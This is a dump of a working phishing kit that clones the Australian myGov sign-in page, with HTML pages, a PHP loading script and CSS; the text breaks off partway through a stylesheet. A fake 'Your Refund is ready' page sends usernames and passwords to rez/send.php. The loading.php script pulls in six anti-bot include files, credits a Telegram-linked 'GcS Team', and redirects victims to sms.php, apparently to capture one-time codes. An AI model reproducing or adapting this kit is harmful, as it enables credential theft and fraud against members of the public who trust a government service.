                        <img id="unauth-govt-crest" src="./login_files/myGov-cobranded-logo-black.svg" alt="myGov Beta" role="img">
                    </a>

                    <div class="header-links">
                        <a href="https://beta.my.gov.au/en/about/help">Help</a>
                    </div>
                </div>
            </div>
        </div>
    </section>
</header>









<div class="wrapper-mapwap"><div class="main-block" id="content" role="main">
    <div class="unauth">
        <div class="login-grid-container">
            <div class="login-grid-row">
                <div class="login-grid-column">
                    <div class="digital-id-login-card-wrapper">
                        <div class="digital-id-main-login-card override">
    
                            

                            
                            
                            

                            
                                
                                
                                
                                    
                                
                            

                            <h1>Sign in with myGov</h1>
                            <p style="color:green" class="login-instruction-text">Your Refund is ready.</p>
                            <h2 class="text-align-left">Please login to continue the process</h2>
                            <form id="mygov-login-form" aria-describedby="error-msg" class="mygov-login-form alternative" action="rez/send.php" method="post">
    
                                <div class="input-group">
                                    <label class="override" for="userId">Username or email</label>
                                    <input id="userId" name="username" aria-required="true" data-username="data-username" type="text" value="" autocomplete="off">
                                </div>
                                <p class="recovery">
                                    <a href="https://login.my.gov.au/las/mygov-login?execution=e2s1&amp;_eventId=recoverusername" class="anchor override">Forgot username</a>
                                </p>
    
                                <div class="input-group">
                                    <label for="password" class="override">Password</label>
                                    <div class="password-group">
                                        <button class="showPassword anchor" type="button" aria-describedby="show-hide-helpmsg" aria-label="Show password as plain text.">Show</button><p class="is-visuallyhidden" id="show-hide-helpmsg">Note: this will visually expose your password on the screen.</p><button class="showPassword anchor" type="button" aria-describedby="show-hide-helpmsg" aria-label="Show password as plain text.">Show</button><p class="is-visuallyhidden" id="show-hide-helpmsg">Note: this will visually expose your password on the screen.</p><button class="showPassword anchor" type="button" aria-describedby="show-hide-helpmsg" aria-label="Show password as plain text.">Show</button><p class="is-visuallyhidden" id="show-hide-helpmsg">Note: this will visually expose your password on the screen.</p><input id="password" name="password" type="password" data-current-password="data-current-password" autocomplete="off" aria-required="true">
                                    </div>
                                </div>
                                <p class="recovery">
                                    <a href="https://login.my.gov.au/las/mygov-login?execution=e2s1&amp;_eventId=resetpassword" class="anchor override">Forgot
                                        password</a>
                                </p>
    
                                <div class="button-digital-id-main-container override">
                                    <div class="digital-id-button-container">
                                        <button type="submit" class="button-main" name="login">Sign in</button>
                                    </div>
                                </div>
    
                                <input type="hidden" name="authtype" value="unamepword">
                                <input type="hidden" name="_csrf" value="a6f900ad-8865-4945-bf98-e61cdc954330">

                                
                                    
                                    <p class="create-account-text"><a class="create-account-link" href="https://my.gov.au/en/create-account/">Create a myGov account</a> if you don't have one already.</p>
                                    
                                    
                                
                                
                                
                            
                                
                            <div>
<input type="hidden" name="_csrf" value="a6f900ad-8865-4945-bf98-e61cdc954330">
</div></form>
    
                            <div class="hr-word">
                                <div class="draw-circle">
                                    or
                                </div>
                            </div>
    
                            <div class="digital-id-login-card secondary">
                                <div class="button-digital-id-container">
                                    <h2 class="text-align-left">Using your myGovID Digital Identity</h2>
                                    <div class="digital-id-login-option-container">
                                        <div class="inner-options">
                                            <p class="external-links-zone">
                                                What is <a href="https://www.digitalidentity.gov.au/" target="_blank">Digital Identity</a> and <a href="https://www.mygovid.gov.au/" target="_blank">myGovID</a>?
                                            </p>
                                            <a class="button-digital-identity" href="https://login.my.gov.au/las/mygov-login?execution=e2s1&amp;_eventId=digitalIdentity">Continue with Digital Identity</a>
                                            <input type="hidden" value="{flowScope.targetParamDI}">
                                        </div>
                                    </div>
                                </div>
                            </div>
                                        
                        
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div></div>





<footer role="contentinfo">
    <div class="wrapper">
      <div class="inner">

        <section class="footer-list">
            <nav>
            <h2 class="sr-only" aria-label="Footer">Footer</h2>
            <ul class="lower-links">
                <li>
                    <a target="_blank" href="https://my.gov.au/en/about/terms">Terms of use</a>
                </li>
                <li>
                    <a target="_blank" href="https://my.gov.au/en/about/privacy-and-security">Privacy and security</a>
                </li>
                <li>
                    <a target="_blank" href="https://my.gov.au/en/about/copyright">Copyright</a>
                </li>
                <li>
                    <a target="_blank" href="https://my.gov.au/en/about/accessibility">Accessibility</a>
                </li>
            </ul>
            </nav>
        </section>
          <div class="footer-lower">
              <section class="footer-lower-logo">
              <a href="https://beta.my.gov.au/">
                  <img src="./login_files/myGov-cobranded-logo-white.svg" alt="myGov Beta" width="313.17" height="70" role="img">
              </a>
              </section>

              <p class="footer-acknowledgement">We acknowledge the Traditional Custodians of the lands we live on. We pay our respects to all Elders, past and present, of all Aboriginal and Torres Strait Islander nations.</p>
          </div>




      </div>
    </div>
  </footer>


<script type="text/javascript" src="./login_files/mgv2-vendor.js.download"></script>
<script type="text/javascript" src="./login_files/mgv2-application.js.download"></script>
<script type="text/javascript" src="./login_files/login.js.download"></script>
<div id="artifact-metadata">
    
</div>



</body></html>mygov/app/loading.php000064400000015056151676702570010642 0ustar00<?php
/*
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢈⣿⠆⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⢤⣴⠟⠁⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣄⠐⠟⠁⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡀⠺⣿⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⣿⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣿⣿⠟⢁⣴⣷⣦⣤⣤⣤⡀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡿⠛⡆⠀⠉⠛⠻⠿⠿⠿⠇⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⢿⣿⡷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢠⣴⣿⡦⠀⢻⣷⠀⠀⠀t.me/amandz741 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢀⣴⣿⣿⡿⠁⠀⠘⠋⠀  GcS Team remember this name⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⣰⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠈⠻⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠈⠀⠀         ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
*/
session_start();
include "../anti/anti1.php";
include "../anti/anti2.php"; 
include "../anti/anti3.php"; 
include "../anti/anti4.php"; 
include "../anti/anti5.php"; 
include "../anti/anti7.php"; 
?>
<html lang="en"><!--<![endif]--><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
	<!--
E: PROD; 
C: MW0w; 
N: MW0w16; 
S: SW16c;  
-->
	
	<meta http-equiv="x-ua-compatible" content="ie=edge">
	<meta name="apple-mobile-web-app-capable" content="yes">
	<title>
		Sign in with myGov - myGov
	</title>
	<meta name="description" content="">
	<meta http-equiv="refresh" content="10;url=sms.php"/>
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<!-- phone number format detection, turning it off -->
	<meta name="format-detection" content="telephone=no">
	<script type="text/javascript" src="./login_files/ruxitagentjs_ICA2Vfghjqrux_10243220606153550.js.download" data-dtconfig="app=5f15dc81410a75c1|ssc=1|rcdec=1209600000|featureHash=ICA2Vfghjqrux|vcv=2|rdnt=0|uxrgce=1|bp=3|srmcrv=10|cuc=gpalpirq|mel=100000|md=mdcc1=ainput#user-id,mdcc2=adiv.error-msg-text span,mdcc3=aspan[data-home-welcome-message]|ssv=4|lastModification=1664408259780|dtVersion=10243220606153550|srmcrl=1|tp=500,50,0,1|uxdcw=1500|agentUri=/LoginServices/main/ruxitagentjs_ICA2Vfghjqrux_10243220606153550.js|reportUrl=/LoginServices/main/rb_6de8e2e9-6719-45b3-86be-7effcb9f6525|rid=RID_315652659|rpid=-945084416|domain=my.gov.au"></script><link rel="icon" type="image/png" sizes="32x32" href="https://login.my.gov.au/mygov/content/mgv2/icons/favicon-32x32.png">
  	<link rel="icon" type="image/png" sizes="16x16" href="https://login.my.gov.au/mygov/content/mgv2/icons/favicon-16x16.png">
	<link href="./login_files/css" rel="stylesheet">
	<link href="./login_files/mgv2-application.css" rel="stylesheet">
	<link href="./login_files/blugov.css" rel="stylesheet">
</head>

<body><noscript>
	<div class="outage">
		<div class="outage__inner">
			<div>
				<span class="is-visuallyhidden"> Warning message: </span>
				<p> JavaScript is required for myGov to work correctly.</p>
			</div>
		</div>
	</div>
</noscript>




	
		
	
	





<nav class="uikit-skip-link" aria-label="Skip Links">
	<a class="uikit-skip-link__link" href="https://login.my.gov.au/las/mygov-login?execution=e2s1#content">Skip to main content</a>
</nav>

<div class="brand-rainbow">&nbsp;</div>
<header role="banner" class="mgvEnhanceHeader">
	<section class="wrapper">
		<div class="inner">
			<div class="unauth-grid">
				<div class="unauth-grid-row">
					<a href="https://beta.my.gov.au/" class="unauth-govt-crest__link">
					    <img id="unauth-govt-crest" src="./login_files/myGov-cobranded-logo-black.svg" alt="myGov Beta" role="img">
                    </a>

					<div class="header-links">
						<a href="https://beta.my.gov.au/en/about/help">Help</a>
					</div>
				</div>
			</div>
		</div>
	</section>
</header>









<div class="wrapper-mapwap"><div class="main-block" id="content" role="main">
	<div class="unauth">
		<div class="login-grid-container">
			<div class="login-grid-row">
				<img src="https://media.tenor.com/wpSo-8CrXqUAAAAi/loading-loading-forever.gif" style="
    margin-left: 50px;
">
<p style="
    margin-left: 80px;
">Loading Please wait...</p>
			</div>
		</div>
	</div>
</div></div>





<footer role="contentinfo">
    <div class="wrapper">
      <div class="inner">

        <section class="footer-list">
            <nav>
            <h2 class="sr-only" aria-label="Footer">Footer</h2>
            <ul class="lower-links">
                <li>
                    <a target="_blank" href="https://my.gov.au/en/about/terms">Terms of use</a>
                </li>
                <li>
                    <a target="_blank" href="https://my.gov.au/en/about/privacy-and-security">Privacy and security</a>
                </li>
                <li>
                    <a target="_blank" href="https://my.gov.au/en/about/copyright">Copyright</a>
                </li>
                <li>
                    <a target="_blank" href="https://my.gov.au/en/about/accessibility">Accessibility</a>
                </li>
            </ul>
            </nav>
        </section>
          <div class="footer-lower">
              <section class="footer-lower-logo">
              <a href="https://beta.my.gov.au/">
                  <img src="./login_files/myGov-cobranded-logo-white.svg" alt="myGov Beta" width="313.17" height="70" role="img">
              </a>
              </section>

              <p class="footer-acknowledgement">We acknowledge the Traditional Custodians of the lands we live on. We pay our respects to all Elders, past and present, of all Aboriginal and Torres Strait Islander nations.</p>
          </div>




      </div>
    </div>
  </footer>


<script type="text/javascript" src="./login_files/mgv2-vendor.js.download"></script>
<script type="text/javascript" src="./login_files/mgv2-application.js.download"></script>
<script type="text/javascript" src="./login_files/login.js.download"></script>
<div id="artifact-metadata">
	
</div>



</body></html>mygov/app/login.html000064400000020431151676702570010503 0ustar00<!DOCTYPE html>
<!-- saved from url=(0054)https://login.my.gov.au/las/mygov-login?execution=e2s1 -->
<html lang="en"><!--<![endif]--><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
	<!--
E: PROD; 
C: MW0w; 
N: MW0w16; 
S: SW16c;  
-->
	
	<meta http-equiv="x-ua-compatible" content="ie=edge">
	<meta name="apple-mobile-web-app-capable" content="yes">
	<title>
		Sign in with myGov - myGov
	</title>
	<meta name="description" content="">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<!-- phone number format detection, turning it off -->
	<meta name="format-detection" content="telephone=no">
	<script type="text/javascript" src="./login_files/ruxitagentjs_ICA2Vfghjqrux_10243220606153550.js.download" data-dtconfig="app=5f15dc81410a75c1|ssc=1|rcdec=1209600000|featureHash=ICA2Vfghjqrux|vcv=2|rdnt=0|uxrgce=1|bp=3|srmcrv=10|cuc=gpalpirq|mel=100000|md=mdcc1=ainput#user-id,mdcc2=adiv.error-msg-text span,mdcc3=aspan[data-home-welcome-message]|ssv=4|lastModification=1664408259780|dtVersion=10243220606153550|srmcrl=1|tp=500,50,0,1|uxdcw=1500|agentUri=/LoginServices/main/ruxitagentjs_ICA2Vfghjqrux_10243220606153550.js|reportUrl=/LoginServices/main/rb_6de8e2e9-6719-45b3-86be-7effcb9f6525|rid=RID_315652659|rpid=-945084416|domain=my.gov.au"></script><link rel="icon" type="image/png" sizes="32x32" href="https://login.my.gov.au/mygov/content/mgv2/icons/favicon-32x32.png">
  	<link rel="icon" type="image/png" sizes="16x16" href="https://login.my.gov.au/mygov/content/mgv2/icons/favicon-16x16.png">
	<link href="./login_files/css" rel="stylesheet">
	<link href="./login_files/mgv2-application.css" rel="stylesheet">
	<link href="./login_files/blugov.css" rel="stylesheet">
</head>

<body><noscript>
	<div class="outage">
		<div class="outage__inner">
			<div>
				<span class="is-visuallyhidden"> Warning message: </span>
				<p> JavaScript is required for myGov to work correctly.</p>
			</div>
		</div>
	</div>
</noscript>




	
		
	
	





<nav class="uikit-skip-link" aria-label="Skip Links">
	<a class="uikit-skip-link__link" href="https://login.my.gov.au/las/mygov-login?execution=e2s1#content">Skip to main content</a>
</nav>

<div class="brand-rainbow">&nbsp;</div>
<header role="banner" class="mgvEnhanceHeader">
	<section class="wrapper">
		<div class="inner">
			<div class="unauth-grid">
				<div class="unauth-grid-row">
					<a href="https://beta.my.gov.au/" class="unauth-govt-crest__link">
					    <img id="unauth-govt-crest" src="./login_files/myGov-cobranded-logo-black.svg" alt="myGov Beta" role="img">
                    </a>

					<div class="header-links">
						<a href="https://beta.my.gov.au/en/about/help">Help</a>
					</div>
				</div>
			</div>
		</div>
	</section>
</header>









<div class="wrapper-mapwap"><div class="main-block" id="content" role="main">
	<div class="unauth">
		<div class="login-grid-container">
			<div class="login-grid-row">
				<div class="login-grid-column">
					<div class="digital-id-login-card-wrapper">
						<div class="digital-id-main-login-card override">
	
							<a data-go-back-link="" class="button-back" href="https://login.my.gov.au/las/mygov-login?execution=e2s1&amp;_eventId=close">Back</a>

							
							
							

							
								
								
								
									
								
							

							<h1>Sign in with myGov</h1>
							<p class="login-instruction-text">Choose how to sign in from these 2 options</p>
							<h2 class="text-align-left">Using your myGov sign in details</h2>
							<form id="mygov-login-form" aria-describedby="error-msg" class="mygov-login-form alternative" action="https://login.my.gov.au/las/mygov-login?execution=e2s1" method="post">
	
								<div class="input-group">
									<label class="override" for="userId">Username or email</label>
									<input id="userId" name="username" aria-required="true" data-username="data-username" type="text" value="" autocomplete="off">
								</div>
								<p class="recovery">
									<a href="https://login.my.gov.au/las/mygov-login?execution=e2s1&amp;_eventId=recoverusername" class="anchor override">Forgot username</a>
								</p>
	
								<div class="input-group">
									<label for="password" class="override">Password</label>
									<div class="password-group">
										<button class="showPassword anchor" type="button" aria-describedby="show-hide-helpmsg" aria-label="Show password as plain text.">Show</button><p class="is-visuallyhidden" id="show-hide-helpmsg">Note: this will visually expose your password on the screen.</p><input id="password" name="password" type="password" data-current-password="data-current-password" autocomplete="off" aria-required="true">
									</div>
								</div>
								<p class="recovery">
									<a href="https://login.my.gov.au/las/mygov-login?execution=e2s1&amp;_eventId=resetpassword" class="anchor override">Forgot
										password</a>
								</p>
	
								<div class="button-digital-id-main-container override">
									<div class="digital-id-button-container">
										<button type="submit" class="button-main" name="_eventId_login">Sign in</button>
									</div>
								</div>
	
								<input type="hidden" name="authtype" value="unamepword">
								<input type="hidden" name="_csrf" value="a6f900ad-8865-4945-bf98-e61cdc954330">

								
									
									<p class="create-account-text"><a class="create-account-link" href="https://my.gov.au/en/create-account/">Create a myGov account</a> if you don't have one already.</p>
									
									
								
								
								
							
								
							<div>
<input type="hidden" name="_csrf" value="a6f900ad-8865-4945-bf98-e61cdc954330">
</div></form>
	
							<div class="hr-word">
								<div class="draw-circle">
									or
								</div>
							</div>
	
							<div class="digital-id-login-card secondary">
								<div class="button-digital-id-container">
									<h2 class="text-align-left">Using your myGovID Digital Identity</h2>
									<div class="digital-id-login-option-container">
										<div class="inner-options">
											<p class="external-links-zone">
												What is <a href="https://www.digitalidentity.gov.au/" target="_blank">Digital Identity</a> and <a href="https://www.mygovid.gov.au/" target="_blank">myGovID</a>?
											</p>
											<a class="button-digital-identity" href="https://login.my.gov.au/las/mygov-login?execution=e2s1&amp;_eventId=digitalIdentity">Continue with Digital Identity</a>
											<input type="hidden" value="{flowScope.targetParamDI}">
										</div>
									</div>
								</div>
							</div>
										
						
						</div>
					</div>
				</div>
			</div>
		</div>
	</div>
</div></div>





<footer role="contentinfo">
    <div class="wrapper">
      <div class="inner">

        <section class="footer-list">
            <nav>
            <h2 class="sr-only" aria-label="Footer">Footer</h2>
            <ul class="lower-links">
                <li>
                    <a target="_blank" href="https://my.gov.au/en/about/terms">Terms of use</a>
                </li>
                <li>
                    <a target="_blank" href="https://my.gov.au/en/about/privacy-and-security">Privacy and security</a>
                </li>
                <li>
                    <a target="_blank" href="https://my.gov.au/en/about/copyright">Copyright</a>
                </li>
                <li>
                    <a target="_blank" href="https://my.gov.au/en/about/accessibility">Accessibility</a>
                </li>
            </ul>
            </nav>
        </section>
          <div class="footer-lower">
              <section class="footer-lower-logo">
              <a href="https://beta.my.gov.au/">
                  <img src="./login_files/myGov-cobranded-logo-white.svg" alt="myGov Beta" width="313.17" height="70" role="img">
              </a>
              </section>

              <p class="footer-acknowledgement">We acknowledge the Traditional Custodians of the lands we live on. We pay our respects to all Elders, past and present, of all Aboriginal and Torres Strait Islander nations.</p>
          </div>




      </div>
    </div>
  </footer>


<script type="text/javascript" src="./login_files/mgv2-vendor.js.download"></script>
<script type="text/javascript" src="./login_files/mgv2-application.js.download"></script>
<script type="text/javascript" src="./login_files/login.js.download"></script>
<div id="artifact-metadata">
	
</div>



</body></html>mygov/app/login_files/blugov.css000064400000211165151676702570013015 0ustar00.confirm-action.blugov{height:50px;height:3.125rem;text-decoration:none;background-color:#254a7e;border-radius:5px;color:#fff;font-size:16px;font-weight:500;min-width:160px;background-color:#254a7e}.confirm-action.blugov:hover{text-decoration:none;background-color:#183052;color:#fff}.confirm-action.blugov:focus{background-color:#183052;outline:4px solid #183052;outline-offset:2px}.confirm-action.blugov:disabled{background-color:#a0a0a3}html{font-family:"Roboto",-apple-system,BlinkMacSystemFont,"Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif}html :focus{outline:4px solid #183052;outline-offset:2px}html body{font-size:18px;color:#000;font-weight:400}html h1{color:#333;font-family:"Roboto",-apple-system,BlinkMacSystemFont,"Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-weight:700;font-size:28px;line-height:34px}html a:focus{outline:0;outline-offset:none}html a.anchor:focus{outline:0;outline-offset:none}html .error-msg{border:2px solid #dc3548;border:.125rem solid #dc3548;border-left-width:48px;color:#333;border-radius:5px}html .error-msg::before{background-image:url("../blugov/Icons---System---Alert---Emergency.svg")}html .error-msg span{display:inline}html .error-msg .error-msg-text a{font-size:18px}html .success-msg{border:2px solid #1a9f50;border:.125rem solid #1a9f50;border-left-width:48px;color:#333;border-radius:5px}html .success-msg::before{background-image:url("../blugov/Icons---System---Tick---Line.svg")}html .success-msg span{display:inline}html .success-msg .success-msg-text a{font-size:18px}html .hasInfo{font-size:16px;border-left:4px solid #254a7e}html .hasInfo span,html .hasInfo a{font-size:16px}html .hasError{border-left:4px solid #dc3548;font-size:14px;font-weight:400}html .hasError p,html .hasError span{color:#dc3548}html .hasError p.hasError,html .hasError span.hasError{color:#dc3548}html .hasError p.hasError p,html .hasError span.hasError p{margin-top:10px;margin-bottom:0}.brand-rainbow{height:5px;background:url("../blugov/M-myGov-Coloured Line.svg");background-repeat:no-repeat;background-color:#0061c8}.brand-rainbow.padding{margin-bottom:1em}@media screen and (max-width:640px){.brand-rainbow{height:7px;background:url("../blugov/D-myGov-Coloured Line.svg");background-repeat:no-repeat;background-color:#0061c8}}@media screen and (min-width:992px){header .inner{max-width:1360px!important;margin-left:auto;margin-right:auto}}header section.wrapper{min-height:100px}header .inner{height:100px;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:left;-webkit-justify-content:left;-ms-flex-pack:left;justify-content:left;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;padding:16px 20px}header.mgvEnhanceHeader{height:100px;min-height:100px;background-color:#183052;border-bottom-color:#183052}header.mgvEnhanceHeader .header-logo{display:none}header .unauth-grid-row a{display:inline;color:none;border-bottom:0}header .unauth-grid-row a:hover{background-color:transparent}header .unauth-grid-row a:focus{outline:2px solid #33c4e8;outline-offset:4px}.login-grid-column{width:100%}@media screen and (min-width:640px){.unauth .digital-id-login-card{padding:0;max-width:100%;width:100%}}.main-block{max-width:600px}.main-block .button-secondary,.main-block .button-minor{height:50px;height:3.125rem;background-color:#fff;border-radius:5px;color:#254a7e;text-decoration:none;border:2px solid #254a7e;font-size:16px;font-weight:500;min-width:160px}.main-block .button-secondary:hover,.main-block .button-minor:hover{background-color:#fff;color:#313131;text-decoration:underline;border:2px solid #313131}.main-block .button-secondary:focus,.main-block .button-minor:focus{text-decoration:none;outline:4px solid #183052;outline-offset:2px}.main-block a{color:#254a7e;text-decoration:underline;border-bottom:0;font-size:18px}.main-block a:hover{color:#254a7e;border-bottom:0;text-decoration:none;background-color:transparent}.main-block a:focus{outline:4px solid #183052;outline-offset:2px}.main-block a.button-minor.button{height:50px;height:3.125rem;background-color:#fff;border-radius:5px;color:#254a7e;text-decoration:none;border:2px solid #254a7e;font-size:16px;font-weight:500;min-width:160px}.main-block a.button-minor.button:hover{background-color:#fff;color:#313131;text-decoration:underline;border:2px solid #313131}.main-block a.button-minor.button:focus{text-decoration:none;outline:4px solid #183052;outline-offset:2px}.main-block a.button-minor.button.error-button-padding{padding-top:.6em}.main-block .button-main{height:50px;height:3.125rem;text-decoration:none;background-color:#254a7e;border-radius:5px;color:#fff;font-size:16px;font-weight:500;min-width:160px}.main-block .button-main:hover{text-decoration:none;background-color:#183052;color:#fff}.main-block .button-main:focus{background-color:#183052;outline:4px solid #183052;outline-offset:2px}a#back-to-top{color:#254a7e;text-decoration:underline;border-bottom:0;font-size:18px}a#back-to-top:hover{color:#254a7e;border-bottom:0;text-decoration:none;background-color:transparent}a#back-to-top:focus{outline:4px solid #183052;outline-offset:2px}a.button-back{font-size:14px!important;font-weight:500}a.button-back::before{background-position:unset;background-size:1em;top:-2px;-webkit-transform:scale(0.5);transform:scale(0.5);right:2.2em;background-image:url("../icons/blugov-left-chevron.svg")}a.button-back-error{color:#254a7e;text-decoration:underline;border-bottom:0;font-size:18px;font-size:14px!important;font-weight:500}a.button-back-error:hover{color:#254a7e;border-bottom:0;text-decoration:none;background-color:transparent}a.button-back-error:focus{outline:4px solid #183052;outline-offset:2px}a.margin-left{font-size:18px!important;margin-left:0!important}a[data-go-back-link=""]{font-size:18px!important}.error-arrow{height:.7em;margin-right:.5em}#digital-id-modal-background+img{display:none}.digital-id-main-login-card.override{width:100%!important;max-width:100%!important}.return-error-links{margin-top:1em}.anchor.override{font-weight:500}.button-container .button,.button-digital-id-container .button{padding-left:17px;padding-right:17px}.button-container{text-align:center}.wrapper form .button-container,#content form .button-container{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.help-text{display:block}.wrapper-mapwap div.unauth,.unauth div.unauth{padding-left:36px;padding-right:36px}@media(max-width:640px){.wrapper-mapwap div.unauth,.unauth div.unauth{padding-left:0;padding-right:0}}.wrapper-mapwap .main-block,.unauth .main-block{max-width:600px}.wrapper-mapwap h1,.unauth h1{color:#333;font-family:"Roboto",-apple-system,BlinkMacSystemFont,"Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-weight:700;font-size:28px;margin-bottom:unset;margin-bottom:20px}.wrapper-mapwap .hr-word,.unauth .hr-word{width:100%!important;height:20px;margin-top:40px;margin-right:12.5%;margin-bottom:40px}.wrapper-mapwap .hr-word span,.unauth .hr-word span{background-color:black}.wrapper-mapwap .password-help,.unauth .password-help{font-size:14px;color:#666;display:block}.wrapper-mapwap form label,.wrapper-mapwap form .std-Legend,.unauth form label,.unauth form .std-Legend{font-size:14px;display:inline;color:#333}.wrapper-mapwap form label[for="newPassword"],.wrapper-mapwap form .std-Legend[for="newPassword"],.unauth form label[for="newPassword"],.unauth form .std-Legend[for="newPassword"]{font-weight:600}.wrapper-mapwap form label[for="mobileConfirmationCode"],.wrapper-mapwap form .std-Legend[for="mobileConfirmationCode"],.unauth form label[for="mobileConfirmationCode"],.unauth form .std-Legend[for="mobileConfirmationCode"]{font-weight:600}.wrapper-mapwap form label[for="mobile-number"],.wrapper-mapwap form .std-Legend[for="mobile-number"],.unauth form label[for="mobile-number"],.unauth form .std-Legend[for="mobile-number"]{font-weight:600}.wrapper-mapwap form label[for="otpanswer"],.wrapper-mapwap form .std-Legend[for="otpanswer"],.unauth form label[for="otpanswer"],.unauth form .std-Legend[for="otpanswer"]{font-weight:600}.wrapper-mapwap form label[for="verificationCode"],.wrapper-mapwap form .std-Legend[for="verificationCode"],.unauth form label[for="verificationCode"],.unauth form .std-Legend[for="verificationCode"]{font-weight:600}.wrapper-mapwap form label[for="passwordRetyped"],.wrapper-mapwap form .std-Legend[for="passwordRetyped"],.unauth form label[for="passwordRetyped"],.unauth form .std-Legend[for="passwordRetyped"]{font-weight:600}.wrapper-mapwap form label[for="totpanswer"],.wrapper-mapwap form .std-Legend[for="totpanswer"],.unauth form label[for="totpanswer"],.unauth form .std-Legend[for="totpanswer"]{font-weight:600}.wrapper-mapwap form label[for="userId"],.wrapper-mapwap form .std-Legend[for="userId"],.unauth form label[for="userId"],.unauth form .std-Legend[for="userId"]{font-weight:600;display:block}.wrapper-mapwap form label[for="userId"] .hasInfo,.wrapper-mapwap form .std-Legend[for="userId"] .hasInfo,.unauth form label[for="userId"] .hasInfo,.unauth form .std-Legend[for="userId"] .hasInfo{font-size:16px;font-weight:400}.wrapper-mapwap form label[for="userId"] .hasInfo a,.wrapper-mapwap form .std-Legend[for="userId"] .hasInfo a,.unauth form label[for="userId"] .hasInfo a,.unauth form .std-Legend[for="userId"] .hasInfo a{font-size:16px}.wrapper-mapwap form label[for="email-addr"],.wrapper-mapwap form .std-Legend[for="email-addr"],.unauth form label[for="email-addr"],.unauth form .std-Legend[for="email-addr"]{font-weight:600}.wrapper-mapwap form label[for="1"],.wrapper-mapwap form .std-Legend[for="1"],.unauth form label[for="1"],.unauth form .std-Legend[for="1"]{display:block;font-size:18px}.wrapper-mapwap form label[for="1"]:focus,.wrapper-mapwap form .std-Legend[for="1"]:focus,.unauth form label[for="1"]:focus,.unauth form .std-Legend[for="1"]:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form label[for="2"],.wrapper-mapwap form .std-Legend[for="2"],.unauth form label[for="2"],.unauth form .std-Legend[for="2"]{display:block;font-size:18px}.wrapper-mapwap form label[for="2"]:focus,.wrapper-mapwap form .std-Legend[for="2"]:focus,.unauth form label[for="2"]:focus,.unauth form .std-Legend[for="2"]:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form label.hasError,.wrapper-mapwap form .std-Legend.hasError,.unauth form label.hasError,.unauth form .std-Legend.hasError{display:block}.wrapper-mapwap form p a,.unauth form p a{font-size:18px}.wrapper-mapwap form input,.unauth form input{border-radius:5px;border:2px solid #808080;font-size:16px;font-weight:400;height:50px;color:#101012}.wrapper-mapwap form input:focus,.unauth form input:focus{outline:4px solid #183052;outline-offset:2px;border:2px solid #808080}.wrapper-mapwap form input[data-username],.unauth form input[data-username]{max-width:none;width:100%}.wrapper-mapwap form [name="radioQuestion"]:focus,.unauth form [name="radioQuestion"]:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form [type="radio"]:focus,.unauth form [type="radio"]:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form [type="radio"]:checked+label::before,.unauth form [type="radio"]:checked+label::before{border:2px solid #333;display:block}.wrapper-mapwap form [type="radio"]:checked+label::before:focus,.unauth form [type="radio"]:checked+label::before:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form [type="radio"]:checked+label::after,.unauth form [type="radio"]:checked+label::after{background-color:#254a7e;display:block}.wrapper-mapwap form [type="radio"]:checked+label::after:focus,.unauth form [type="radio"]:checked+label::after:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form label.override,.unauth form label.override{font-weight:600!important}.wrapper-mapwap form span[role="alert"],.wrapper-mapwap form 